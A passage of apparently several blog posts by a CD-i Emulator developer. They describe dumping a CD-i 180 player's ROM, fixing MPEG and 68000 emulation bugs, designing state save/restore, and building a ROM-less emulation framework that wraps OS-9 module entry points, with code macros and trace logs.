    cdilink –p 3 –a 50000 –s 256K –u u21.rom

    (U21 being the socket number of the specific ROM I chose first).

    After a minute I aborted the upload and checked the result, and lo and behold the u21.rom file looked like an even-byte-only ROM dump:
    00000000  4a00 000b 0000 0000 0004 8000 0000 0000 J...............
    00000010 0000 0000 0000 003a 0000 705f 6d6c 2e6f .......:..p_ml.o
    00000020 7406 0c20 0000 0000 0101 0101 0101 0101 t.. ............
    This was hopeful, so I restarted the upload again and waited some six minutes for it to complete. Just for sure I redid the upload from address 58000 and got an identical file, thus ruling out any flakey bits or timing problems (I had already checked that the access times on the 27C100 and 27C020 chips were identical, to say 150ns).

    In an attempt to speed up the procedure, I next attempted to try two ROMs at once, using ones that I thought not to be a matched even/odd set. The 605 would not boot! It later turned out that the socket numbering did not correspond to the even/odd pairing as I expected so this was probably caused by the two ROMs being exactly a matched set and OS-9 getting confused as the result. But using a single ROM it worked fine.

    I proceeded to repeat the following procedure for the next three ROMs: turn off the 605, remove the expansion board, unsocket the previous ROM chip, socket the next ROM chip, reinsert the expansion board, turn on the 605 and run CD-i Link twice. It took a while, all in all just under an hour.

    While these uploads were running I wrote two small programs rsplit and rjoin to manipulate the ROM files into a correct 512Kb 180 ROM image. Around 00:30 I had a final cdi180b.rom file that looked good and I ran it through cditype –mod to verify that it indeed looked like a CD-I player ROM:
      Addr     Size      Owner    Perm Type Revs  Ed #  Crc   Module name
    -------- -------- ----------- ---- ---- ---- ----- ------ ------------
    0000509a 192 0.0 0003 Data 8001 1 fba055 copyright
    0000515a 26650 0.0 0555 Sys a000 83 090798 kernel
    0000b974 344 0.0 0555 Sys 8002 22 b20da9 init
    0000bacc 2848 0.0 0555 Fman a00b 35 28611f ucm
    0000c5ec 5592 0.0 0555 Fman a000 17 63023d nrf
    0000dbc4 2270 0.0 0555 Fman a000 35 d6a976 pipeman
    0000e4a2 774 0.0 0555 Driv a001 6 81a3e9 nvdrv
    0000e7a8 356 0.0 0555 Sys a01e 15 e69105 rp5c15
    0000e90c 136 0.0 0555 Desc 8000 1 f25f23 tim070
    0000e994 420 0.0 0555 Driv a00c 6 7b3913 tim070driv
    0000eb38 172 0.0 0555 Driv a000 1 407f81 null
    0000ebe4 102 0.0 0555 Desc 8000 2 cf450e pipe
    0000ec4a 94 0.0 0555 Desc 8000 1 f54010 nvr
    0000eca8 96 0.0 0555 Desc 8000 1 17ec68 icard
    0000ed08 1934 0.0 0555 Fman a000 31 b41f17 scf
    0000f496 120 0.0 0555 Desc 8000 61 dd8776 t2
    0000f50e 1578 0.0 0555 Driv a020 16 d0a854 u68070
    0000fb38 176 0.1 0777 5 8001 1 a519f6 csd_mmc
    0000fbe8 5026 0.0 0555 Sys a000 292 e33cc5 csdinit
    00010f8a 136 0.0 0555 Desc 8000 6 041e2b iic
    00011012 152 0.0 0555 Driv a02c 22 e29688 ceniic
    000110aa 166 0.0 0555 Desc 8000 8 c5b823 ptr
    00011150 196 0.0 0555 Desc 8000 8 a0e276 cdikeys
    00011214 168 0.0 0555 Desc 8000 8 439a33 ptr2
    000112bc 3134 0.0 0555 Driv a016 11 faf88d periic
    00011efa 4510 0.0 0555 Fman a003 96 a4d145 cdfm
    00013098 15222 0.0 0555 Driv a038 28 122c79 cdap18x
    00016c0e 134 0.0 0555 Desc 8000 2 35f12f cd
    00016c94 134 0.0 0555 Desc 8000 2 d2ce2f ap
    00016d1a 130 0.0 0555 Desc 8000 1 1586c2 vid
    00016d9c 18082 10.48 0555 Trap c00a 6 5f673d cio
    0001b43e 7798 1.0 0555 Trap c001 13 46c5dc math
    0001d2b4 2992 0.0 0555 Data 8020 1 191a59 FONT8X8
    0001de64 134 0.0 0555 Desc 8000 2 c5ed0e dd
    0001deea 66564 0.0 0555 Driv a012 48 660a91 video
    0002e2ee 62622 0.1 0555 Prog 8008 20 ec5459 ps
    0003d78c 4272 0.0 0003 Data 8001 1 9f3982 ps_medium.font
    0003e83c 800 0.0 0003 Data 8002 1 c1ac25 ps_icons.clut
    00040000 2976 0.0 0003 Data 8002 1 0a3b97 ps_small.font
    00040ba0 7456 0.0 0003 Data 8002 1 764338 ps_icons.clu8
    000428c0 107600 0.0 0003 Data 8002 1 7b9b4e ps_panel.dyuv
    0005cd10 35360 0.0 0003 Data 8001 1 2a8fcd ps_girl.dyuv
    00065730 35360 0.0 0003 Data 8002 1 e1bb6a ps_mesa.dyuv
    0006e150 35360 0.0 0003 Data 8002 1 8e394b ps_map.dyuv
    00076b70 35360 0.0 0003 Data 8002 1 c60e5e ps_kids.dyuv

    File Size Type Description
    ------------ ------ ------------ ------------
    cdi180b.rom 512K cdi000x.rom Unknown CD-i system ROM
    cdi180b.rom 512K cdi000x.mdl Unknown CD-i player
    cdi180b.rom 512K unknown.brd Unknown board
    Of course cditype didn’t correctly detect the ROM, player and board type, but the list of modules looks exactly like a CD-i player system ROM. It is in fact very similar to the CD-i 605 system ROM, the major differences are the presence of the icard and *iic drivers, the absence of a slave module and the different player shell (ps module with separate ps_* data modules instead of a single play module).

    It being quite late already, I resocketed all the ROMs in the proper places and closed up both players, after testing that they were both fully functional (insofar as I could test the 180 set), fully intending to clean up and go to bed. As an afterthought, I took a picture of the running 180 set and posted it on the CD-Interactive forums as the definitive answer to the 50/60 Hz power question I’d asked there earlier.

    The CD-i Emulator urge started itching however, so I decided to give emulation of my new ROM file a quick go, fully intending to stop at any major problems. I didn’t encounter any of those, however, until I had a running CD-i 180 player three hours later. I reported the fact on the CDinteractive forum, noting that there was no pointing device or disc access yet, and went to a well-deserved sleep. Both of these issues are major ones and those I postponed for the next day.

    To get the new player type up and running inside CD-i Emulater, I started by using the CD-i 605 F1 system specification files cdi605a.mdl and minimmc.brd as templates to create the new CD-i 180 F2 system files cdi180b.mdl and maximmc.brd. Next I fired up the emulator and was rewarded with bus errors. Not unexpected and a good indicator of where the problems are. Using the debugger and disassembler I quickly determined that the problems were, as expected, the presence of the VSR instead of VSD and the replacement of the SLAVE by something else. Straightening these out took a bit of time but it was not hard work and very similar to work I had done before on other player types.

    This time at least the processor and most of the hardware was known and already emulated; for the Portable CD-i board (used by the CD-i 370, DVE200 and GDI700 players) both of these were not the case as they use the 68341 so-called integrated CD-i engine which in my opinion is sorely misnamed as there is nothing CD-i about the chip, it is just the Motorola version of an 68K processor with many on-chip peripherals in remarkably similar to the Philips 68070 in basic functionality.

    Saturday was spent doing household chores with ROM research in between, looking for the way to get the pointing device working. It turned out to be quite involved but at the end of the day I had it sort of flakily working in a kludgy way; I’ll report the details in a next blog post.

    Sunday I spent some time fixing the flakiness and thinking a lot about fixing the kludginess; this remains to be done. I also spent time making screenshots and writing this blog post.

    So to finish up, there is now a series of 180 screenshots here on the CD-i Emulator website as reported in the What's New section. A very nice player shell, actually, especially for a first generation machine.

    I will report some ROM and chip finds including new hopes for replacing the missing pointing device in a next blog post.
              MPEG decoding, state save/restore, NRF emulation, ...        
    It's been a while since I wrote anything here, but that doesn't mean that work on CD-i Emulator has stopped. On the contrary, a lot has happened in the last month and describing all of it will take a very long blog post. So here goes…

    Last January an annoying date-checking bug was found which forced me to release beta2 somewhat earlier than anticipated. After that I did no further work on CD-i Emulator. There were various reasons for this, but the most import one was a very busy period at my day job.

    After a well-earned vacation I resumed CD-i related work in early August. First I spent a few days on Walter Hunt's OS-9 port of gcc, the GNU C/C++ Compiler that I found in October of last year. Getting it working on a modern Cygwin installation was interesting and something very different from my usual line of work. The result could be useful for homebrew activities: it's a much more usable C compiler then the Microware OS-9 one and supports C++ as a bonus. I intend to use this for ROM-less emulation validation some day; see also below. The sources need to be released but I haven’t gotten to that stage yet.

    After that I had another go at the Digital Video cartridge emulation. At the point where I left off last year the major stumbling block was the presumed picture / frame buffering logic of the MPEG video driver. When the appropriate interrupt status bits are set the driver starts copying a bulk of status information to an array of device registers and it will sometimes also read from those registers. This is all controlled by several status and timing registers that are also referenced elsewhere and I previously could not get a handle on it.

    My first attempt this time was spending another few days staring at it and tracing it, but this did not gain me much new understanding. Finally I decided to just leave it for now and see how far I could get without understanding this part of the driver. I decided to once again attempt to get "CD-i Full Motion Video Technical Aspects" working.

    This CD-i was produced by Philips to give future Full Motion Video (as the new MPEG playback functions were called at the time) developers a demonstration of the technical capabilities of the new hardware, at a time when this hardware was still in the early beta phase. The CD-i actually contains the compiler libraries necessary for making FMV calls from CD-i applications, as these had not previously been widely distributed.

    It is not a very slick disc visually, being intended for developers, but it demonstrates a number of FMV techniques such as regular playback, playback control including pause, slow motion and single step, freeze frame and forward/backward scan, special effects like scrolling the FMV window, a seamless jump and a sample of overlay effects with the CD-i base case video planes.

    I had previously tried to run this disc on CD-i Emulator, but it always crashed for an unknown reason that I attributed to MPEG device emulation problems. This time I traced back the crash and it turned out to have nothing at all to do with FMV playback but was instead caused by an incorrect emulation of the 68000 instruction "move ea,ccr" which is supposed to set the condition code register (ccr) to the value specified by the effective address (ea). In the processor manual this is classified as a word instruction and I had emulated it as such, which turned out to be wrong as it caused a word write to the full status register which should have been a byte write to the lower eight bits of it which hold the condition codes.

    The problem manifested itself when the application calls the math trap handler for some mundane number calculations, which were naturally supposed to set the condition codes. The value written to the status register inadvertently changed the processor from user to system mode (and also scrambled the active interrupt masking level) which caused an instant stack switch that caused a bus error when the trap handler attempts to return to the application program (the cpu took the return address from the wrong stack and got garbage instead).

    Most CD-i applications probably don't use the math trap handler so the problem went undetected for a long time. Now that it's fixed some other titles have probably started working but I haven't tested that.

    After this, the FMV Technical Aspects application would get to its main menu screen, allowing me to start FMV playback operations. Regular playback worked fine until the end of the video clip, where there turned out to be status bit generation issues that prevented the application from properly detecting the end of video clip condition (the decoder is supposed to send a "buffer underflow" signal, among others, after the end of the MPEG data and my emulation didn't do that yet).

    This was not very easy to fix because of the way that MPEG data buffering and decoding is handled inside CD-i Emulator, which I'll get into below. So it took me some time.

    Regular play working fine, I started worrying about window control. This was the area where I feared the picture buffering stuff, but it turned out that this was easily bypassed. The horizontal / vertical scrolling functions were ideal to test this but it took me some time to get it working. There were bugs in several areas, including my integration of the MPEG video decoding code, which I took from the well-known mpeg2dec package. This code is written to decode a single video sequence and consequently did not handle image size changes without some re-initialization calls at the appropriate times. Failing that, it mostly just crashed (at the Windows application level) due to out-of-bounds video buffer accesses.

    Another issue was the timing of device register updates for image size changes; I turned out to have the basic mechanism wrong and consequently the driver would keep modifying the window parameters to incorrect values.

    Having all of the above fixed, I returned my attention to playback control. So far I can get the video playback properly paused, but I haven't been able to get it properly resumed. For some reason the application resumes the MPEG playback but it doesn't resume the disc playback. Since the driver waits for new data to arrive from disc before actually resuming MPEG playback nothing happens (this is documented as such). The application is presumably expecting some signal from the driver to get into the proper state for resuming disc playback, but I haven't found it yet.

    At this point, it seemed promising to look at other CD-i titles using playback control and the Philips Video CD application is an obvious candidate. Again, regular playback appears to work fine, but playback control (including pause/resume) does not. It turns out that this application uses a different driver call (it uses MV_ChSpeed instead of MV_Pause, probably in preparation for possible slow motion or single step), which never completes successfully, probably again because of device status signaling. Similar issues appear to block playback control in a few other titles I tried.

    I've given some thought to tracing driver calls and signals on an actual player to see what CD-i Emulator is doing wrong, and it appears to be relatively simple, there's just a bandwidth issue because all of the trace output will have to go out the serial port which can go no higher then 19200 baud. Some kind of data compression is obviously needed and I've determined a relatively simple scheme that should be enough (the CD-i player side will all need to be coded in 68000 machine language so simplicity is important!), but I haven't actually written any code for it yet.

    I know there are issues with the proper timing of some video status signals. Things like start-of-sequence, end-of-sequence and start-of-picture-group should be delayed until display of the corresponding picture, at present they are delivered at decoding time, which can be a few pictures early. But that does not really affect the titles I've tried so far, because they do not attempt picture-synced operations. An application like The Lost Ride might be sensitive to thinks like this, though, and it needs to be fixed at some time. Similar issues are probably present with time code delivery. In addition, the last-picture-displayed and buffer-underflow signals are not always properly sent; I'm fixing these as I go along.

    In the process, I decided that the magenta border was getting annoying and tried to fix it. That turned out to be harder then I thought. The MPEG chip has a special border color register that is written by the MV_BColor driver call and it seemed enough to just pass the color value to the MPEG window overlay routines. Well, not so. Again the issue turned out to be timing of decoder status signals, but of a different kind. The driver doesn't write the border color registers until it has seen some progress in certain timing registers related to the picture buffering thing, presumably to avoid visual flashes or something on the actual hardware. Fortunately, it turned out to be easy to simulate that progress, taking care not to trigger the complicated picture buffer code that I so far managed to keep dormant.

    At some point, possibly related to slow motion or freeze frame, I might need to actually tackle that code but I hope to by that time have gained more understanding of the supposed workings of the MPEG chip.

    Looking at the above, you might think that all of the difficulties are with the MPEG video decoding and that is indeed mostly true. I did have to fix something in the MPEG audio decoding, related to the pause/resume problems, and that was the updating of the audio decoder clock. When audio and video playback are synchronized the MPEG video driver uses the MPEG audio clock as it's timing reference, which means that it has to be stopped and restarted when video playback control operations occur. Since I had never before seriously tested this, the audio clock wasn't stopped at all and the video driver obligingly continued decoding and displaying pictures until it ran out of buffered data.

    There is currently just one known problem with the MPEG audio decoding: the audio isn't properly attenuated as specified by the driver. This causes little audio distortions at some stream transitions and when buffers run out. There is also a problem with base case audio synchronization but that is hard to trigger and possibly even not audible in many titles so I'll worry about that much later.

    Above I promised to get into the MPEG data buffering and decoding issue. The basic problem is one of conceptual mismatch: the CD-i decoding hardware gets data "pushed" into it (by DMA or direct device I/O) at the behest of the driver, whereas the MPEG decoding code (based on the publicly available mpeg2dec and musicout programs from the MPEG Software Simulation Group) expects to "pull" the data it needs during decoding. Things get messy when the decoding runs out of data, as the code does not expect to ever do so (it was originally written to decode from a disc file which of course never runs out of data until the end of the sequence). Some obvious solutions include putting the decoding in a separate thread (which given multi-core processors might be a good idea anyway from a performance perspective) and modifying it to become restartable at some previous sync point (most easily this would be the start of an audio frame or a picture or picture slice). Both options are somewhat involved although they have obvious benefits, and it may turn out that I will need to do one of them anyway at some point. For now I've avoided the problems by carefully timing calls into the MPEG decoding code so that enough data to decode a single audio frame or video picture should always be available; the MPEG data stream at the system level contains enough timestamp and buffering information to make this possible (in particular, it specifies the exact decoding time of every audio frame or video picture in relation to the timing of the data stream, thus making it possible to make those calls into the decoding code at a time that a valid MPEG data stream will have already filled the buffers far enough).

    The approach depends on the timing of the MPEG data entering the decoder, which means that it does not handle buffer underflow conditions unless you add some kind of automatic decoding that continues even if no more MPEG data appears, and this is basically what I’ve done. In the end it was just relatively straightforward extension of the automatic decoding already there to handle the fact that MPEG audio streams do not have to explicitly timestamp every single audio frame (the CD-i Green Book does not even allow this unless you waste massive amounts of space in each MPEG audio data sector) and would have been needed anyway to correctly decode the last pictures of a sequence, but that had never been tested before.

    For performance and possible patent reasons I have taken care to edit the MPEG decoding code (placing appropriate #ifdef lines at the right places) so that only MPEG 1 video and audio layer I/II decoding code is compiled into the CD-i Emulator executable. This is all that is needed for CD-i anyway and MPEG 2 video and audio layer III greatly complicate the decoding and thus significantly enlarge the compiled code.

    Being somewhat stymied at the FMV front, I next decided to spend some time on another lingering issue. During testing, I often have to do the same exact sequence of mouse actions to get a CD-i application to a problem point and this is starting to be annoying. Input recording and playback are a partial solution to this but then you still have to wait while the application goes through it, which is also annoying and can sometimes take quite some time anyway. The obvious solution is a full emulation state save/restore feature, which I've given some thought and started implementing. It's nowhere near finished, though.

    During the MESS collaboration I spent some time investigating the MESS save/restore mechanism. If at all possible I would love to be compatible for CD-i emulation states, but it turns out to be quite hard to do. The basic internal mechanism is quite similar in spirit to what I developed for CD-i Emulator, but it's the way the data is actually saved that makes compatibility very hard. Both approaches basically boil down to saving and restoring all the relevant emulation state variables, which includes easy things like the contents of cpu, memory and device registers but also internal device state variables. The latter are of course not identical between different emulators but they could probably be converted if some effort was thrown at it and for a typical device they aren't very complex anyway. The MESS implementation uses an initialization-time registration of all state variables; at save/restore time it just walks the registrations and saves or restores the binary contents of those variables. CD-i Emulator has a somewhat more flexible approach; at save/restore time it calls a device-specific serialize function to save or restore the contents of the state variables. The actual registration / serialization codes are structurally similar in the two emulators (a simple list of macro/function calls on the state variables) but the code runs at different times.

    The real problem is that MESS includes very little meta information in the save files: only a single checksum of all the names and types of registered state variables in registration order. This is enough to validate the save data at restore time if the state variables of the saving emulator exactly match those of the restoring emulator, because there is no information to implement skipping or conversions. This holds between different versions or in some case even configurations of MESS emulators, but it holds even more so between MESS and CD-i Emulator! The meta information could of course be obtained from the MESS source code (relatively simply macro modifications could cause it to be written out) but that would require exact tracking of MESS versions because every version could have its own checksum corresponding to different meta information (in this case CD-i Emulator would need meta information sets for every MESS checksum value it wants to support).

    I want CD-i Emulator to be more flexible, especially during development, so I decided to make full meta information an option in the save file. The saved state of every device is always versioned, which allows the save/restore code to implement explicit conversion where needed, but during development this isn't good enough. With full meta information turned on, the name and type of every state variable precedes the save data for that variable in the save file. This allows more-or-less automatic skipping of unknown state variables and when properly implemented the restore code can also handle variable reordering. At release time, I will fix the version numbers and save full metadata information sets for those version numbers so that the same automatic skipping and handling of reordering can be done even if the metadata isn't in the save file (it probably won't be because of file size considerations, although that may turn out to be a non-issue because save files need to include the full RAM contents anyway which is 1 MB of data in the simplest case without any compression, which is of course an option).

    In addition to all of the above, I made some progress on the ROM-less emulation front. First I spent some time reading up on the internals of OS-9 file managers, because writing a replacement for the NRF file manager (NRF = Nonvolatile RAM File manager) seemed the logical next step. Actually writing it turned out not to be that hard, but there were of course bugs in the basic ROM emulation code. Most of them had to do with handlers not calling into the original ROM, which totally screwed up the tracing code. Some new functionality was also needed to properly read/write OS-9 data structures inside the emulated machine from the ROM emulation code; I wanted to implement this in such a way that compilation to "native" 68000 code remains a future option for ROM emulation modules. And of course the massive tracing described in the previous blog post had to be curtailed because it was impossible to see the relevant information in the morass of tracing output.

    The new emulated NRF stores its files in the PC file system and it currently works fine when you start it with no stored files (i.e., the player will boot). In that case it will write out a proper "csd" (Configuration Status Descriptor) file. However, if this file already exists, the player crashes, although I have so far not found any fault in the NRF code. The origin of the problem probably lies elsewhere; I suspect it has to do with the hidden "player_shell_settings.prf" file. This file is read and written by the ROM bootstrap even before OS-9 is running; it does this by directly accessing the NVRAM memory (the file never changes size and is always the first one in NVRAM). Since the bootstrap accesses of this file do not go through the NRF file manager or even the NVRAM driver they are not redirected by the OS-9 emulation. However, later accesses by the player shell *are* redirected and the player shell does not seem able to handle the file not existing in the PC file system in the case where a csd file already exists. Solutions include extending the emulated NRF to always access this particular file from the NVRAM instead of the PC file system or somehow synchronizing the two locations for the file. The latter is probably the easiest route given the fixed location and size of the file, but the former is also useful as it would provide a full reimplementation of the original NRF that could in principle be compiled to native 68000 code to replace the "original" NRF in ROM (this is where gcc comes in as alluded to earlier, since all emulation code is written in C++).

    In either case, I do not want the file manager to directly access emulated NVRAM although it could do so easily, as there is already an internal CNvramPort interface that provides just such access independent of the actual emulated NVRAM chip. The NRF file manager should instead call the NVRAM driver, which means that I need to implement cross-module calling first. It's not really hard in principle, the design has been done but there are a lot of little details to get right (the most obvious implementation uses at least 66 bytes of emulated stack space on each such call which I find excessive and might not even work; smarter implementations require some finicky register mask management or a "magic cookie" stacking approach, the latter having the best performance in the emulation case but being impossible in the native 68000 compilation case). When cross-module calling is working, I can also have the file manager allocate emulated memory and separate out the filename parsing functions by using the OS-9 system calls that provide these functions (the current emulated NRF does not allocate emulated memory which is arguably an emulation error and has the filename parsing coded out explicitly).

    When everything works correctly with the emulated NRF, I have to find some way of integrating it in the user experience. You could always start over without any NVRAM files, but I'd like to have some way of migrating files between the two possible locations without having to run CD-i Emulator with weird options. Extending the CD-i File Extractor (cdifile) by incorporating (part of) the emulated NRF seems the obvious choice, which would also provide me with some impetus to finally integrate it with the CD-i File Viewer (wcdiview) program that's supposed to be a GUI version of cdifile but so far is just a very thin skeleton barely able to graphically display a single CD-i IFF image file passed on the command line (it doesn't even have a File Open menu) and will often crash. A proper implementation would look like Windows Explorer with a tree view on the left (CD-i file system, real-time channels and records, IFF chunk structure, etc) and a variable content display on the right (raw data view, decoded sector view, code disassembly view, graphical image view, audio playback, slideshow playback, decoded MPEG view, MPEG playback, etc).

    That touches on another area in which I did some work last month: the saving of CD-i IFF image files for each emulated video frame. The motivation for this was to bring full-resolution real-time frame saving into the realm of the possible, as it would write only about 2 x (1024 + 280 x (384 + 32)) = 247 KB of raw CD-i video and DCP data per frame instead of 560 x 768 x 3 = 1260 KB of raw RGB. At least on my PC this has turned out not to be the case, however. The data is written out fine, which is not as easy as it sounds since video line data size can vary with each line because of pixel repeat and run-length encoding, but it's still too slow. That being so, I am not really very motivated to extend the CD-i IFF decoding implementation to actually decode this information. Some kind of compression could be an option, but that takes processor time and makes things even harder and possibly slower. Perhaps using another thread for this would be a solution, on a multi-core machine this should not greatly impact the basic emulation performance nor the debugging complexity as the compression code would be independent of the emulation itself.

    So there is still a lot of work to be done, but it's all quite interesting and will provide for some entertaining evenings and weekends in the coming weeks or possibly months.

              ROM-less emulation progress        
    Over the last two weeks I have implemented most of the high-level emulation framework that I alluded to in my last post here as well as a large number of tracing wrappers for the original ROM calls. In the next stage I will start replacing some of those wrappers with re-implementations, starting with some easy ones.

    It turns out I was somewhat optimistic; so far I have wrapped over 450 distinct ROM entry points (the actual current number of wrappers is 513 but there are some error catchers and possible duplicates). Creating the wrappers and writing and debugging the framework took more effort then I expected, but it was worth it: every call to a ROM entry point described or implied by the Green Book or OS-9 documentation is now wrapped with a high-level emulation function that so far does nothing except calling the original ROM routine and tracing its input/output register values.

    Surely there aren't that many application-callable API functions, I can hear you think? Well actually there are, for sufficiently loose definitions of "application-callable". You see, the Green Book specifies CD-RTOS as being OS-9 and every "trick" normally allowed under OS-9 is theoretically legal in a CD-i title. That includes bypassing the OS-supplied file managers and directly calling device drivers; there are many CD-i titles that do some of this (the driver interfaces are specified by the Green Book). In particular, all titles using the Balboa library do this.

    I wanted an emulation framework that could handle this so my framework is built around the idea of replacing the OS-9 module internals but retaining their interfaces, including all the documented (and possibly some undocumented) data structures. One of the nice features of this approach is that native ROM code can be replaced by high-level emulation on a routine-by-routine basis.

    How does it really work? As a start, I've enhanced the 68000 emulation to possibly invoke emulation modules whenever an emulated instruction generates one of the following processor exceptions: trap, illegal instruction, line-A, line-F.

    The emulation modules can operate in two modes: either copy an existing ROM module and wrap its entry points, or generate an entirely new memory module. In both cases, the emulation module will emit line-A instructions at the appropriate points. The emitted modules will go into a memory area appropriately called "emurom" that the OS-9 kernel scans for modules. Giving the emitted modules identical names but higher revision numbers then the ROM modules will cause the OS-9 kernel to use the emitted modules.

    This approach works for every module except the kernel itself, because it is entered by the boot code before the memory scan for modules is even performed. The kernel emulation module will actually patch the ROM kernel entry point so that it jumps to the emitted kernel module.

    The emitted line-A instructions are recognized by the emulator disassembler; they are called "modcall" instructions (module call). Each such instruction corresponds to a single emulation function; entry points into the function (described below) are indicated by the word immediately following it in memory. For example, the ROM routine that handles the F$CRC system call now disassembles like this:

    modcall kernel:CRC:0
    jsr XXX.l
    modcall kernel:CRC:$
    rts

    Here the XXX is the absolute address of the original ROM routine for this system call; the two modcall instructions trace the input and output registers of this handler. If the system call were purely emulated (no fallback to the original ROM routine) it would look like this:

    modcall kernel:CRC:0
    modcall kernel:CRC:$
    rts

    Both modcall instructions remain, although technically the latter is now unnecessary, but the jsr instruction has disappeared. Technically, the rts instruction could also be eliminated but it looks more comprehensible this way.

    One could view the approach as adding a very powerful "OS-9 coprocessor" to the system.

    If an emulation function has to make inter-module calls, complications arise. High-level emulation context cannot cross module boundaries, because the called module may be native (and in many cases even intra-module calls can raise this issue). For this reason, emulation functions need additional entry points where the emulation can resume after making such a call. The machine language would like this, e.g. for the F$Open system call:

    modcall kernel:Open:0
    modcall kernel:Open:25
    modcall kernel:Open:83
    modcall kernel:Open:145
    modcall kernel:Open:$
    rts

    The numbers following the colon are relative line numbers in the emulation function. When the emulation function needs to make a native call, it pushes the address of one such modcall instruction on the native stack, sets the PC register to the address it wants to call and resumes instruction emulation. When the native routine returns, it will return to the modcall instruction which will re-enter the emulation function at the appropriate point.

    One would expect that emulation functions making native calls need to be coded very strangely: a big switch statement on the entry code (relative line number), followed by the appropriate code. However, a little feature of the C and C++ languages allows the switch statement to be mostly hidden. The languages allow the case labels of a switch statement to be nested arbitrarily deep into the statements inside the switch.

    The entire contents of emulation functions are encapsulated inside a switch statement on the entry number (hidden by macros):

    switch (entrynumber)
    {
    case 0:
    ...
    }

    On the initial call, zero is passed for entrynumber so the function body starts executing normally. Where a native call needs to be made, the processor registers are set up (more on this below) and a macro is invoked:

    MOD_CALL(address);

    This macro expands to something like this:

    MOD_PARAMS.SetJumpAddress(address);
    MOD_PARAMS.SetReturnLine(__LINE__);
    return eMOD_CALL;
    case __LINE__:

    Because this is a macro expansion, both invokations of the __LINE__ macro will expand to the line number of the MOD_CALL macro invokation.

    What this does is to save the target address and return line inside MOD_PARAMS and then return from the emulation function with value eMOD_CALL. This value causes the wrapper code to push the address of the appropriate modcall instruction and jump to the specified address. When that modcall instruction executes after the native call returns, it passes the return line to the emulation function as the entry number which will dutifully switch on it and control will resume directly after the MOD_CALL macro.

    In reality, the code uses not __LINE__ but __LINE__ - MOD_BASELINE which will use relative line numbers instead of absolute ones; MOD_BASELINE is a constant defined as the value of __LINE__ at the start of the emulation function.

    The procedure described above has one serious drawback: emulation functions cannot have "active" local variables at the point where native calls are made (the compiler will generate errors complaining that variable initialisations are being skipped). However, the emulated processor registers are available as temporaries (properly saved and restored on entry and exit of the emulation function if necessary) which should be good enough. Macros are defined to make accessing these registers easy.

    When native calls need to be made, the registers must be set up properly. This would lead to constant "register juggling" before and after each call, which is error-prone and tedious. To avoid it, it is possible to use two new sets of registers: the parameter set and the results set. Before a call, the parameter registers must be set up properly; the call will then use these register values as inputs and the outputs will be stored in the results registers (register juggling will be done by the wrapper code). The parameter registers are initially set to the values of the emulated processor registers and also set from the results registers after each call.

    The following OS-9 modules are currently wrapped:

    kernel nrf nvdrv cdfm cddrv ucm vddrv ptdrv kbdrv pipe scf scdrv

    The *drv modules are device drivers; their names must be set to match the ones used in the current system ROM in order to properly override those. The *.brd files in the sys directory have been extended to include this information like this:

    ** Driver names for ROM emulation.
    set cddrv.name=cdapdriv
    set vddrv.name=video
    set ptdrv.name=pointer
    set kbdrv.name=kb1driv

    The kernel emulation module avoids knowledge of system call handler addresses inside the kernel by trapping the first "system call" so that it can hook all the handler addresses in the system and user mode dispatch tables to their proper emulation stubs. This first system call is normally the I$Open call for the console device.

    File manager and driver emulation routines hook all the entry points by simply emitting a new entry point table and putting the offset to it in the module header. The offsets in the new table point to the entry point stubs (the addresses of the original ROM routines are obtained from the original entry point table).

    The above works fine for most modules, but there was a problem with the video driver because it is larger then 64KB (the offsets in the entry point are 16-bit values relative to the start of the module). Luckily there is a text area near the beginning of the original module (it is actually just after the original entry point table) that can be used for a "jump table" so all entry point offsets fit into 16 bits. After this it should have worked, but it didn't because it turns out that UCM has a bug that requires the entry point table to *also* be in the first 64KB of the module (it ignores the upper 16-bits of the 32-bit offset to this table in the module header). This was fixed by simply reusing the original entry point table in this case.

    One further complication arose because UCM requires the initialisation routines of drivers to also store the absolute addresses of their entry points in UCM variables. These addresses were "hooked" by adding code to the initialisation emulation routine that changes these addresses to point to the appropriate modcall instructions.

    All file managers and drivers contain further dispatching for the SetStat and GetStat routines, based on the contents of one or two registers. Different values in these registers will invoke entirely separate functions with different register conventions; they really must be redirected to different emulation functions. This is achieved by lifting the dispatching to the emulation wrapper code (it is all table-driven).

    Most of the above has been implemented, and CD-i emulator now traces all calls to ROM routines (when emurom is being used). A simple call to get pointing device coordinates would previously trace as follows (when trap tracing was turned on with the "et trp" command):

    @00DF87E4(cdi_app) TRAP[5812] #0 I$GetStt <= d0.w=7 d1.w=SS_PT d2.w=PT_Coord
    @00DF87E8(cdi_app) TRAP[5812] #0 I$GetStt => d0.w=$8000 d1.l=$1EF00FD

    Here the input value d0.w=7 is the path number of the pointing device; the resulting mouse coordinates are in d1.l and correspond to (253,495),

    When modcall tracing is turned on, this "simple" call will trace as follows:

    @00DF87E4(cdi_app) TRAP[5812] #0 I$GetStt <= d0.w=7 d1.w=SS_PT d2.w=PT_Coord
    @00F86EE0(kernel) MODCALL[16383] kernel:GetStt:0 <= d0.w=7 d1.w=$59 [Sys]
    @00F86D10(kernel) MODCALL[16384] kernel:CCtl:0 <= d0.l=2 [NoTrap]
    @00F86D1A(kernel) MODCALL[16384] kernel:CCtl:$ =>
    @00F8A460(ucm) MODCALL[16385] ucm:GetPointer:0 <= u_d0.w=7 u_d2.w=0
    @00FA10A4(pointer) MODCALL[16386] pointer:PtCoord:0 <= d0.w=7
    @00FA10AE(pointer) MODCALL[16386] pointer:PtCoord:$ => d0.w=$8000 d1.l=$1EF00FD
    @00F8A46A(ucm) MODCALL[16385] ucm:GetPointer:$ =>
    @00F86D10(kernel) MODCALL[16387] kernel:CCtl:0 <= d0.l=5 [NoTrap]
    @00F86D1A(kernel) MODCALL[16387] kernel:CCtl:$ =>
    @00F86EEA(kernel) MODCALL[16383] kernel:GetStt:$ =>
    @00DF87E8(cdi_app) TRAP[5812] #0 I$GetStt => d0.w=$8000 d1.l=$1EF00FD

    You can see that the kernel dispatches this system call to kernel:GetStt, the handler for the I$GetStt system call. It starts by doing some cache control and then calls the GetStat entry point of the ucm modules, which dispatches it to its GetPointer routine. This routine in turn calls the GetStat routine of the pointer driver, which dispatches it to its PtCoord routine. This final routine performs the actual work and returns the results, which are then ultimately returned by the system call, after another bit of cache control.

    The calls to ucm:GetStat and pointer:GetStat are no longer visible in the above trace as the emulation wrapper code directly dispatches them to ucm:GetPointer and pointer:PtCoord, respectively; it doesn't even trace the dispatching because this would result in another four lines of tracing output.

